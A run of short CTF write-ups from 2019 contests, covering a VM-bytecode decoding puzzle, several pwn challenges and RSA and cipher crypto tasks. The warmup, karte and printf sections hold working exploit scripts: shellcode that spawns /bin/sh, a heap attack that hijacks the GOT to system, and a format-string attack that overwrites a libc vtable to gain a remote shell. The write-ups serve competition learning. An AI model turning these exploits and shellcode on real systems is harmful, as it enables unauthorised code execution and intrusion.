It can be guessed that most probably `foo()` calculates some "key" derived from `acc2` value (which is on top of stack at the time of calling) and places this key on top instead of `acc2`, then this key `xor`ed with data[0], then `acc2` is incremented and these steps are repeated until the zero is observed on top of the stack. Notice that zero value is placed on the stack with first two instructions of `program`: `load acc1 0 EoN push acc1`. It is some sort of "guard", signature of "the end of data", like NULL-termination character in C-strings.In C-like pseudocode we can write down:
void decode_and_print(int *data, int n) { if (!(*data)) return; putchar((*data) ^ get_key(n)); decode_and_print(data++, n++); }
It can be more understandable in form of loop instead of recursion:
void decode_and_print(int data[], int n) { for (int i = 0; data[i] != 0; i++, n++) putchar(data[i] ^ get_key(n)); }
Now we can rename L_1 from `foo()` to `get_key(i)` and try to decompile it, remembering that it's parameter `i` is stored on top of stack (here I will rearrange some lines of code so it will become more compact; of course after each such modification it must be checked that program was not broken):
L_1 load acc1 2 EoN ; some new local variable, <var1> := 2 push acc1 ; stack: [... <ra>, , <var1> ] L_11 jump_to R_7 L_7 ; now it is just dummy jump clone ; stack: [... <ra>, , <var1>, <var1> ] load acc1 2 EoN ; one more local variable, <var2> := 2 push acc1 ; [... <ra>, , <var1>, <var1>, <var2> ] L_14 sub ; [... <ra>, , <var1>, <var1> - <var2> ] if_zero ; if <var1> == <var2> pop_out ; remove difference from the stack load acc1 1 EoN push acc1 ; [... <ra>, , <var1>, 1 ] jump_to R_12 ; look L_12 with stack [... <ra>, , <var1>, 1 ] endif pop_out ; remove difference from the stack - in any case it is removed clone ; [... <ra>, , <var1>, <var1> ] push acc1 ; [... <ra>, , <var1>, <var1>, <var2> ] modulo ; [... <ra>, , <var1>, <var1> % <var2> ] if_zero ; if (<var1> % <var2> == 0) jump_to R_12 ; look L_12 with stack [... <ra>, , <var1>, 0 ] endif pop_out ; remove modulo value from stack clone ; [... <ra>, , <var1>, <var1> ] push acc1 ; [... <ra>, , <var1>, <var1>, <var2> ] load acc1 1 EoN push acc1 add ; <var2> += 1 clone ; [... <ra>, , <var1>, <var1>, <var2>, <var2> ] pop acc1 ; [... <ra>, , <var1>, <var1>, <var2> ] jump_to R_14 ; notice that stack state is the same as just before L_14 label L_12 if_zero ; stack case: [... <ra>, , <var1>, 0 ] pop_out ; [... <ra>, , <var1> ] jump_to R_8 EoN ; L_8 load acc2 1 EoN push acc2 add ; [... <ra>, , <var1> += 1 ] jump_to R_11 ; start all over again endif pop_out ; [... <ra>, , <var1> ] jump_to R_9 ; call bar(i, var1)
This piece is just a little more complicated than previous one.C-like pseudocode in loop form:
int get_key(int i) { for (int j = 2; ; j++) { // j replaces <var1> for (int k = 2; k < j; k++) { // k replaces <var2> if (j % k == 0) break; } if (k == j) bar(i, j); } }
Easy: we do some `bar()` for each j that is a prime number. Probably `bar()` can return program not only back to `get_key()`, but also to `decode_and_print()` function using `<ra>`, so actually loop is not infinite. Now to `bar()` which located on label `L_9`:
L_9 ; remember stack is [... <ra>, , <j> ] clone clone load acc2 0 EoN ; local <var1> := 0 push acc2 ; stack [... <ra>, , <j>, <j>, <j>, <var1>] L_17 load acc1 1 0 EoN push acc1 multiply ; <var1> *= 10 pop acc2 ; acc2 = <var1> push acc1 ; stack [... <ra>, , <j>, <j>, <j>, 10 ] modulo ; stack [... <ra>, , <j>, <j>, <j>%10 ] push acc2 ; stack [... <ra>, , <j>, <j>, <j>%10, <var1> ] add pop acc2 ; acc2 := <var1> + j%10 pop acc1 ; acc1 := <j> clone ; stack [... <ra>, , <j>, <j> ] push acc2 ; stack [... <ra>, , <j>, <j>, <var1> + j%10 ] sub ; stack [... <ra>, , <j>, <j> - (<var1> + j%10) ] if_zero ; if (j == var1 + j%10 ) pop_out load acc2 1 EoN push acc2 jump_to R_15 ; goto L_15 with stack [... <ra>, , <j>, 1 ] endif pop_out push acc1 ; stack [... <ra>, , <j>, <j> ] load acc1 1 0 EoN push acc1 divide ; stack [... <ra>, , <j>, <j> / 10 ] if_zero ; if (j / 10 == 0) jump_to R_15 ; goto L_15 with stack [... <ra>, , <j>, 0 ] endif clone push acc2 ; stack [... <ra>, , <j>, <j> / 10, <j> / 10, <var1> + j%10 ] jump_to R_17 L_15 ; stack here is [... <ra>, , <j>, 0 or 1 ] if_zero pop_out jump_to R_8 ; stack [... <ra>, , <j> ] endif pop_out pop acc1 ; stack [... <ra>, ], acc1 := <j> load acc2 1 EoN push acc2 sub ; -= 1 if_zero ; if ( == 0) pop_out ; stack [... data[2], data[1], , data[0], <ra> ] pop acc2 ; stack [... data[2], data[1], , data[0] ], acc2 := <ra> push acc1 push acc2 ; stack [... data[2], data[1], , data[0], <j> ] jump_top ; return from get_key() endif push acc1 L_8 ; stack [... <ra>, , <j> ] load acc2 1 EoN push acc2 add ; <j> += 1 jump_to R_11 ; it is returning to the main loop of get_key()
Ok, it is solvable. `bar()` is some sort of check. So:
int check(i, j) { for (int k = 0, l = j; ; ) { // k replaces <var1> k = 10*k + l%10; l /= 10; if (j == k) { i--; if (i == 0) return j; // returning to decode_and_print(), j is the key } if (l == 0) return 0; // returning to get_key() } }
This is not so obvious, but nevertheless it can be seen that expression `k = 10*k + l%10` adds the right-most (least significant) digit of `l` to the right of `k`, shifting all other digits of `k` to the left, and as the starting value of `l` is `j`, hence at last iteration when `l` becomes zero, `k` becomes reversed `j`.We can conclude that this `check()` is successfull if and only if `j` is palindromic number, because until `l` actually become zero, `k` will have even different number of digits comparing to `j` and they can't be equal.And one more detail: `i` is the index of key in sequence of such numbers.
Now, all pieces together:
void decode_and_print(int data[], int n) { for (int i = 0; data[i] != 0; i++) { int key = nth_palindromic_prime(n + i); putchar(data[i] ^ key); } }
Not very hard, isn't it?We should just write this in some proper language with slightly more efficient algorithm than bruteforce. Numbers are quite small, so it should be enough to make deterministic primality test. The biggest number has 9 digits, so it is enough to precalculate all primes up to5 digits long and use them:
N = 100000 sieve = [True] * N for i in range(3,int(N**0.5)+1,2): if sieve[i]: sieve[i*i::2*i]=[False]*int((N-i*i-1)/(2*i)+1) primes = [2] + [i for i in range(3,N,2) if sieve[i]]
def is_prime(n): limit = int(n**0.5) for p in primes: if p > limit: break if n % p == 0: return False return True
And we better not to test palindromity, but just generate all needed values of sequence.
def gen_keys(upto): ret = [2, 3, 5, 7, 11] l = len(str(upto)) // 2 for part in range(1, 10**l): left = str(part) right = left[::-1] for m in range(10): n = int(left + str(m) + right) if is_prime(n): ret.append(n) return ret
keys = gen_keys(10000000)
I'm too lazy to type numbers by hand, so here is parser as simple as ugly:
data = [] with open('new.program', 'r') as f: temp = [] for line in f.readlines(): if line.startswith('load acc1') and line.strip().endswith('push acc1'): num = int(line[9:line.find('EoN')].replace(' ', '')) if num != 0: temp.append(num) elif line.startswith('load acc2'): base = int(line[9:line.find('EoN')].replace(' ', '')) for i, num in enumerate(reversed(temp)): data.append((base + i, num)) temp = []
And finally! Decoding!
print("".join([chr(char ^ keys[i-1]) for i, char in data]))
Run it:
$ python3 solve.py http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/
Go to this link and find several pages with photos, one of which contains the flag.
In my opinion, this problem is the best one of all Beginner's Quest.
**CTF{Peace_from_Cauli!}** |
# TokyoWesterns CTF 2019 - nothing more to say
* **Category:** pwn, warmup* **Points:** (dependant on solve time)
## Challenge
### Description> Japan is fucking hot.> nc nothing.chal.ctf.westerns.tokyo 10001
### Files* warmup.c* warmup
## Solution
This challenge contained two seperate vulnerabilities, a stack buffer overflow, and a format string vulnerabilty. Additionally, all protections were disabled.
The vulnerabilities can be seen in the provided source code...
```cint main(void) { char buf[0x100]; init_proc(); puts("Hello ...etc... :)"); gets(buf); // <-- stack buffer overflow printf(buf); // <-- format string vulnerability return 0;}```
We can verify that all protections are disabled using checksec...
```gef➤ checksec [+] checksec for '/tmp/warmup'Canary : NoNX : NoPIE : NoFortify : NoRelRO : Partialgef➤ ```
That said, since PIE (ASLR) is only disabled for **this** binary, everything else will still be randomized, including the libc and the stack. Luckily, we can abuse the format string vulnerability to leak pointers, and since we can overwrite main's return address, we can redirect it back to `_start` afterward. This gives us a second opportunity to exploit the overflow, after leaking a useful pointer. Let's walk through it.
The return address will be overwritten at offset 264...
```andrew@fujitsu /tmp % python -c 'print "A"*264 + "BBBBBBBB";' > input ```
```gef➤ r < input Starting program: /tmp/warmup < inputHello CTF Players!This is a warmup challenge for pwnable.We provide some hints for beginners spawning a shell to get the flag.
1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflow.2. NX-bit is disabled. You can run your shellcode easily.3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.
If you get stuck, we recommend you to search about ROP and x64-shellcode.Please pwn me :)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBProgram received signal SIGSEGV, Segmentation fault.[ Legend: Modified register | Code | Heap | Stack | String ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007ffff7dd18c0 → 0x0000000000000000$rsp : 0x00007fffffffdeb8 → "BBBBBBBB"$rbp : 0x4141414141414141 ("AAAAAAAA"?)$rsi : 0x00007fffffffb710 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"$rdi : 0x1 $rip : 0x0000000000400709 → <main+79> ret $r8 : 0x110 $r9 : 0x00007ffff7fdb4c0 → 0x00007ffff7fdb4c0 → [loop detected]$r10 : 0x3 $r11 : 0x246 $r12 : 0x0000000000400590 → <_start+0> xor ebp, ebp$r13 : 0x00007fffffffdf90 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffdeb8│+0x0000: "BBBBBBBB" ← $rsp0x00007fffffffdec0│+0x0008: 0x00000000000000000x00007fffffffdec8│+0x0010: 0x00007fffffffdf98 → 0x00007fffffffe317 → "/tmp/warmup"0x00007fffffffded0│+0x0018: 0x00000001000080000x00007fffffffded8│+0x0020: 0x00000000004006ba → <main+0> push rbp0x00007fffffffdee0│+0x0028: 0x00000000000000000x00007fffffffdee8│+0x0030: 0xfb9b0c21f2f5366f0x00007fffffffdef0│+0x0038: 0x0000000000400590 → <_start+0> xor ebp, ebp───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4006fe <main+68> call 0x400570 <printf@plt> 0x400703 <main+73> mov eax, 0x0 0x400708 <main+78> leave → 0x400709 <main+79> ret [!] Cannot disassemble from $PC───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "warmup", stopped, reason: SIGSEGV─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400709 → main()──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400709 in main ()```
`_start`'s address is `0x400590`...
```gef➤ p -start$1 = {<text variable, no debug info>} 0x400590 <_start>```
Now lets look for a useful pointer. Ideally, something on the stack near our buffer, that we can use to reliably calculate its address...
Our stack is in the range: `0x00007ffffffde000 0x00007ffffffff000`
```gef➤ vmmap Start End Offset Perm Path0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /tmp/warmup0x0000000000600000 0x0000000000601000 0x0000000000000000 r-x /tmp/warmup0x0000000000601000 0x0000000000602000 0x0000000000001000 rwx /tmp/warmup0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rwx /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rwx 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7fda000 0x00007ffff7fdc000 0x0000000000000000 rwx 0x00007ffff7ff8000 0x00007ffff7ffb000 0x0000000000000000 r-- [vvar]0x00007ffff7ffb000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rwx /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]```
The stack looks like this. And there are some stack pointers accessible!
```gef➤ break printfBreakpoint 1 at 0x400570gef➤ r... snip ... snip ...Breakpoint 1, __printf (format=0x7fffffffddb0 "whatever") at printf.c:2828 printf.c: No such file or directory.gef➤ x/64gx $rsp0x7fffffffdda8: 0x0000000000400703 0x72657665746168770x7fffffffddb8: 0x0000000000000000 0x00000000000000000x7fffffffddc8: 0x00007ffff7ffe710 0x00007ffff7b977870x7fffffffddd8: 0x0000000000000380 0x00007fffffffde100x7fffffffdde8: 0x00007fffffffde20 0x00007ffff7ffea980x7fffffffddf8: 0x0000000000000000 0x00000000000000000x7fffffffde08: 0x0000000000000000 0x00000000ffffffff0x7fffffffde18: 0x0000000000000000 0x00007ffff7ffb2680x7fffffffde28: 0x00007ffff7ffe710 0x00000000000000000x7fffffffde38: 0x0000000000000000 0x00000000000000000x7fffffffde48: 0x00000000756e6547 0x00000000000000090x7fffffffde58: 0x00007ffff7dd7660 0x00007fffffffdec80x7fffffffde68: 0x0000000000f0b5ff 0x00000000000000010x7fffffffde78: 0x000000000040075d 0x00007ffff7de59a00x7fffffffde88: 0x0000000000000000 0x00000000004007100x7fffffffde98: 0x0000000000400590 0x00007fffffffdf900x7fffffffdea8: 0x0000000000000000 0x00000000004007100x7fffffffdeb8: 0x00007ffff7a05b97 0x00000000000000010x7fffffffdec8: 0x00007fffffffdf98 0x0000000100008000 <-- this one (on the left) looks good0x7fffffffded8: 0x00000000004006ba 0x00000000000000000x7fffffffdee8: 0x2bfdf5ba6193f872 0x00000000004005900x7fffffffdef8: 0x00007fffffffdf90 0x00000000000000000x7fffffffdf08: 0x0000000000000000 0xd4020ac5d233f8720x7fffffffdf18: 0xd4021a7ad92df872 0x00007fff000000000x7fffffffdf28: 0x0000000000000000 0x00000000000000000x7fffffffdf38: 0x00007ffff7de5733 0x00007ffff7dcb6380x7fffffffdf48: 0x0000000014e55a46 0x00000000000000000x7fffffffdf58: 0x0000000000000000 0x00000000000000000x7fffffffdf68: 0x0000000000400590 0x00007fffffffdf900x7fffffffdf78: 0x00000000004005ba 0x00007fffffffdf880x7fffffffdf88: 0x000000000000001c 0x00000000000000010x7fffffffdf98: 0x00007fffffffe317 0x0000000000000000```
Let's leak the pointer `0x00007fffffffdf98`. There are 36 QWORDs on the stack above it. However, since this is a 64-bit program, printf will also look in `rsi`, `rdx`, `rcx`, `r8`, and `r9` first. 36 + 5 = 41, meaning we want to leak the 41st QWORD.
```gef➤ rStarting program: /tmp/warmup Hello CTF Players!This is a warmup challenge for pwnable.We provide some hints for beginners spawning a shell to get the flag.
1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflow.2. NX-bit is disabled. You can run your shellcode easily.3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.
If you get stuck, we recommend you to search about ROP and x64-shellcode.Please pwn me :)%41$016lx00007fffffffdf98[Inferior 1 (process 9302) exited normally]gef➤```
It worked! We can now calculate our buffer address at an offset of this pointer. Our buffer is at address `0x00007fffffffddb0` which we can see in `rdi` right before printf is called.
`00007fffffffdf98 - 0x00007fffffffddb0 = 0x1e8`
Therefore, our buffer will always be at `addr - 0x1e8`
Putting it all together, we will1. Overflow the buffer with `%41$016lx ...264 total bytes + address_of_main`2. Use the leaked pointer to calculate the buffer address3. Send another overflow, this time with `nops... + shellcode + address_of_buffer`4. Enjoy our shell!
```python#!/usr/bin/python2
from pwn import *import struct
ADDR_START = 0x400590
# https://www.exploit-db.com/shellcodes/47008sc = "\x48\x83\xEC\x40" # sub rsp, 64sc += "\x48\x31\xf6\x56\x48\xbf"sc += "\x2f\x62\x69\x6e\x2f"sc += "\x2f\x73\x68\x57\x54"sc += "\x5f\xb0\x3b\x99\x0f\x05"
r = remote("127.0.0.1", 10001)
r.recvuntil(":)\n")
r.send("%41$016lx" + "A"*(264-9) + struct.pack(" |
# HARDMODE```Written by: blevy
nc chall2.2019.redpwn.net 4002
NB: This challenge does not use the flag{...} format. I accidentally forgot about that whole thing and I'm too lazy to change it.```[hardmode.c](hardmode.c) [hardmode](hardmode)
*Got the solution on the Discord Chat*
Just `nc chall2.2019.redpwn.net 4002` , press enter, type `cat flag.txt`, and there is the flag
**Yes, thats is the freaking flag!!!**
Is a annoying challenge for me...
## Flag> cat: flag.txt: No such file or directory |
# CCCampCTF-DevOps-writeup
The actual writeup is in DevOps.md. The directories stage(1,2,3) contain everything I used to solve the challenge including exploits, notes, ideas i tried that didn't work, tools, ...
Cool challenge and I hope this writeup helps you understand it ;) |
# prelogueThank @peanuts for the main part.# analysis```s[*] '/home/n132/Desktop/SecureKart/karte' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```# vulnerablity没有开PIE和全RELRO漏洞点* 半个UAF* modify时没有检测inuse
利用限制:1. 只有三个chunk ptr2. UAF只有modify的时候能用一次 free时检测inuse3. add中 size>0x800的时候用calloc 其他时候用malloc
比赛的时候全靠@peanuts师傅完成了改掉了lock的操作我当时照着流程复现了一遍后面的内容其实相比前面的巧妙来说只是皮毛.[attachmen][1]# solution本节是我赛后删掉exp复现时的思路第一个遇到的问题因为`tcache size`范围中用的是`calloc`是不能直接做`tache hijacking`的所以要弄到`fastbin`上搞方法也很简单```pythonfor x in range(7): free(add(0x68))```这样就会填满tacache
之后利用`uaf`+`modify`来完成`fastbin_atk`
然后就要想要控制哪里.本题没有开全RELRO和PIE所以首选bss段上那些重要的数据(全局变量 got表)
因为我们唯一的一次攻击机会被我们使用了要么一次成功（连地址都没有泄漏 还有fastbin-atk还是有head限制的所以不太可能)要么扩大利用.
如果是要泄漏的话在没有开`full RELRO`和`PIE`的情况下显然劫持某些`got`为`puts`比`io_leak`简单.
因为前者在本题环境下需要做`unsortedbin-atk`后者因为只有三个chunk_ptr且没办法利用name区域的edit来控制stdout,换言之就是他们都需要`unsortedbin-atk`但是前者在做了`unsortedbin-atk`之后更加方便.
所以咱的之后大致思路就有了:`unsortedbin-atk`创造一个`0x7f`的`chunk-head`在`bss`上之后控制bss上一些关键值:* lock的值（可以扩大利用导致无限modify） * list的指针（配合低一点 可以任意地址写）
如果达到上述两项那么就可以为所欲为了.
于是我们细化一下流程:首先是fastbin-atk是有head的需求所以直接来是比较难找到的我们可以控制`name`区域次数不限 所以其上可以伪造`chunk`（一个限制是控制区域只有0x30）
我们最后要做0x71的`fastbin-atk`就需要至少`0x70+1`字节的可控制区域所以我们要控制name区域后的内容因为0x80依然是fastbin内的所以我们可以第一次做`fastbin-atk`时使用0x80的大小先在后面的放点以后我们需要的东西.
那么我们继续要做的事情是创造一个可以控制的`unsortedbin`那这显然就是`name`区域了
之后因为name可以任意edit我们更改`fake-chunk`的`head`free到其他的`fastbin`中利用`malloc_consolidate`使其进入`unsortedbin`（具体详见大哥的博客:[chltql][0]）
这样之后的事情就很常规了控制lock+指针任意地址写 造成`leak + got_hijacking`
# exp```pythonfrom pwn import *def cmd(c): p.sendlineafter("> ",str(c))def add(size,c="A"): cmd(1) cmd(size) p.sendafter("> ",c) p.readuntil("id ") return int(p.readline(),10)def free(idx): cmd(3) cmd(idx)def edit(idx,c): cmd(4) cmd(idx) p.sendafter("> ",c)def do_name(name): p.sendafter(".. ",name)def rename(name): cmd(99) do_name(name) context.log_level='debug'context.arch='amd64'address=0x0000000006021A0p=process('./karte')#p=remote("karte.chal.ctf.westerns.tokyo",10001)do_name("It's n132!")for x in range(7): tmp=add(0x18)#0 free(tmp)for x in range(7): tmp=add(0x68)#0 free(tmp)for x in range(7): tmp=add(0x78)#0 free(tmp)t1=add(0x78)t2=add(0x78)free(t2)free(t1)edit(t1,p64(address)[:3])rename(flat(0,0x81))t1=add(0x78)t2=add(0x78,p64(0x21)*13+p64(0x21))rename(p64(0x21)*2)t3=add(0x410)free(t2)free(t3)rename(flat(0,0x21,0,0x602118-5-0x10))free(t1)t1=add(0x18)rename(flat(0,0x71))free(t1)rename(flat(0,0x71,0x602110))add(0x68)pay=p64(0x0000000400000041)+'\x00'*0x18pay+=p64(0x13200000001)+p64(0x000000000602018)pay+=p64(0)*2+p64(0x13300000001)+p64(0x000000000602078)pay+=p64(0x0000deadc0bebeef)add(0x68,pay)edit(0x132,p64(0x000000000400710)[:6])free(0x133)base=u64(p.readline()[:-1].ljust(0x8,'\x00'))-(0x7ffff7a24680-0x7ffff79e4000)log.warning(hex(base))libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")edit(0x133,p64(libc.sym['system']+base)[:6])cmd("/bin/sh")p.interactive()```
# epilogue
1. 质量挺高的一题2. 挺考验利用的,一步步抽丝剥茧. |
In this challenge, you were meant to abuse Windows Defender, which deletes files if they match particular content. Inspired by WCTF 2019 Gyotaku challenge. Read the post for the full details. |
Writeup from author with sourcode and docker scripts included
[https://github.com/0x4d5a-ctf/Writeups/tree/master/2019/Camp2019/core-pwn/documentation](https://github.com/0x4d5a-ctf/Writeups/tree/master/2019/Camp2019/core-pwn/documentation) |
printf was a pretty typical pwn task: you get binary, libc, network address, and you have to gain an RCE. The vulnerability is an unsafe `alloca` which allows one to cross the gap between stack and libraries.
## Binary
The gist of the `main` function is as follows:```cchar buf[256];my_printf("What's your name?");v5 = read(0, buf, 0x100uLL);buf[v5 - 1] = 0;for (i = 0; i < v5 - 1; ++i) { if (!isprint(buf[i])) _exit(1);}my_printf("Hi, ");my_printf(buf);my_printf("Do you leave a comment?");buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;my_printf(buf);```
So `printf` is called twice with fully controllable format argument. The first time the string is restricted to printable characters, and the second time there're no restrictions.
Any CTF veteran knows that it looks like a classic format string bug, which are now relatively rare compared to heap tasks :).
Obviously, you can leak stack variables using the `%lx|%lx|%lx|...` format string. That defeats ASLR of stack, libc and binary itself.
However, the `printf` implementation is custom. It lacks `%n` specifier, and have some unusual bugs instead.
It prints the string in two passes. In the first pass, it calculates the string length, and allocates the buffer with `alloca`. During the second pass, the data is printed to the buffer, and then the buffer is written out with `puts`.
The bug is that the argument of `alloca` is unchecked. `alloca` compiles to `sub rsp, rax` without any checks whatsoever. We can't make the length negative, as it's thoroughly checked. But by specifying large width (e.g. `%980794739896d`) we can make it very large so the stack pointer crosses the unmapped gap between the stack and libc.
This might seem to be non-exploitable, as the function will crash when attempting to fill the entire gap between libc and stack with data. Not to mention that it will corrupt much more data than we want during the write to libc.
Fortunately, the implemenation of width specifier is buggy, as it effectively ignored during the second pass:```cv27 = number_of_digits(&fmt_[i_fmt]);i_fmt += v27;v55.width = my_atoi(&fmt_[i_fmt]);```
Here `i_fmt` should've been incremented _after_ the `atoi`. The way it's written, however, the string that follows the width is interpreted as integer instead. What follows the integer is not an integer, so `atoi` returns zero.
## Exploitation
How to exploit this, though?
The glibc is Ubuntu GLIBC 2.29-0ubuntu2, which corresponds to Ubuntu 19.04, which is very new.
So there's no easy way to overwrite things like `atexit` handlers, stdout virtual table, etc., as they're either mangled or checked.
For example, here's IO table being write-protected on my system:```pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable$8 = (const struct _IO_jump_t *) 0x7ffff7dcd360 <_IO_file_jumps>pwndbg> p _IO_file_jumps$9 = { __dummy = 0, __dummy2 = 0, __finish = 0x7ffff7a8aba0 <_IO_new_file_finish>, __overflow = 0x7ffff7a8b700 <_IO_new_file_overflow>, __underflow = 0x7ffff7a8b400 <_IO_new_file_underflow>, __uflow = 0x7ffff7a8c8e0 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7a8e0e0 <__GI__IO_default_pbackfail>, __xsputn = 0x7ffff7a8a6e0 <_IO_new_file_xsputn>, __xsgetn = 0x7ffff7a8a200 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7a899e0 <_IO_new_file_seekoff>, __seekpos = 0x7ffff7a8cd60 <_IO_default_seekpos>, __setbuf = 0x7ffff7a89140 <_IO_new_file_setbuf>, __sync = 0x7ffff7a88fe0 <_IO_new_file_sync>, __doallocate = 0x7ffff7a7b9a0 <__GI__IO_file_doallocate>, __read = 0x7ffff7a8a680 <__GI__IO_file_read>, __write = 0x7ffff7a89ff0 <_IO_new_file_write>, __seek = 0x7ffff7a89680 <__GI__IO_file_seek>, __close = 0x7ffff7a89100 <__GI__IO_file_close>, __stat = 0x7ffff7a89fb0 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7a8e340 <_IO_default_showmanyc>, __imbue = 0x7ffff7a8e380 <_IO_default_imbue>}pwndbg> vmmap 0x7ffff7dcd360LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7dcc000 0x7ffff7dd0000 r--p 4000 1c2000 /lib64/libc-2.29.so```
But let's re-check the binary provided with the task, _just in case_:```pwndbg> p &_IO_file_jumps$1 = (<data variable, no debug info> *) 0x7ffff7fc0560 <_IO_file_jumps>pwndbg> vmmap 0x7ffff7fc0560LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7fbe000 0x7ffff7fc1000 rw-p 3000 1e3000 /home/wgh/ctf/tokyowesterns2019/printf/libc.so.6```
Wait, what, what, what? Why is default `FILE *` vtable is writable here? This's supposed to be fixed a long time ago. Honestly, I have no idea why it happened. The checksum corresponds to the correct Ubuntu package, we're not dealing with custom build glibc. I don't have an answer.
Anyway, we can overwrite some stdout function pointers and gain RIP control when `puts` is called. As usual, one-gadget-RCE can be employed.
The exploit is somewhat unstable locally, but works better when run against the remote server (probably due to different stack layout regarding environment variables, as it happens relatively often).
```python#!/usr/bin/env python2
from __future__ import print_function
from pwn import *
LOCAL = False#LOCAL = True
context.binary = "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"context.log_level = "debug"
libc_start_main_leak_offset = 7019 + 0x25000libc_filejumps_underflow_offset = 9600libc = ELF("libc.so.6")
if LOCAL: p = process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4"])else: p = remote("printf.chal.ctf.westerns.tokyo", 10001)
def get_payload1(): res = " ".join("%lx" for _ in xrange(64)) assert len(res) <= 255 return res
p.recvuntil("What's your name?")p.sendline(get_payload1())p.recvuntil("Hi, ")leaks = p.recvuntil("Do you leave a comment?", drop=True)leaks = [int(x, 16) for x in leaks.split()]
offset_info = { 40: "main (canary)", 41: "main (RBP)", 42: "main RA (__libc_start_main)",}for i, addr in enumerate(leaks): extra = "" if i in offset_info: extra = " %s" % offset_info[i]
log.info("%d: 0x%016x%s", i, addr, extra)
leaked_canary = leaks[40]leaked_libc = leaks[42] - libc_start_main_leak_offsetmain_buf = leaks[39] - 496 + 8
log.info("canary: 0x%016x", leaked_canary)log.info("libc base: 0x%016x", leaked_libc)log.info("main_buf: 0x%016x", main_buf)
#gdb.attach(p, """# breakrva 0x1C85 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4# breakrva 0x1C97 printf-60b0fcfbbb43400426aeae512008bab56879155df25c54037c1304227c43dab4## b system#""")
desired_address = leaked_libc + 0x1e6588 - 0x10
one_gadget = leaked_libc + 0x106ef8#one_gadget = leaked_libc + libc.sym["system"]log.info("one_gadget=0x%016x", one_gadget)
payload = b""payload += "%{}d".format(main_buf - 416 - desired_address)payload += "A" * (0x10-2)payload += p64(one_gadget).rstrip(b'\0')
log.info("len(payload)=%d", len(payload))
p.sendline(payload)
p.interactive()``` |
tl;dr:1. Notice that `qInv` RSA-CRT parameter (named `cf`) is not removed from public key2. Use Coppersmith attack to recover `d` using polynomial `cf*x -1 == 0 mod q**2`3. Decrypt the flag
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-02-tokyowesterns/happy |
tl;dr
1. Run Z32. If you don't want to wait, notice that '+' can cause carry if bit key is 1 and this carry can be visible after odd number of rounds
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-02-tokyowesterns/simple_logic |
# TokyoWesterns CTF 5th 2019 : M-Poly-Cipher
**category** : crypto
**points** : 279
**solves** : 26
## write-up
After some reverse engineering, we found some matrix multiplication operations
Assume the following: ```R, PK1, PK2, PK3, PT are 8x8 matrixR is randomly generated 8x8 matrixPK1, PK2, PK3 are 3 Public KeyPT is Plain Text```
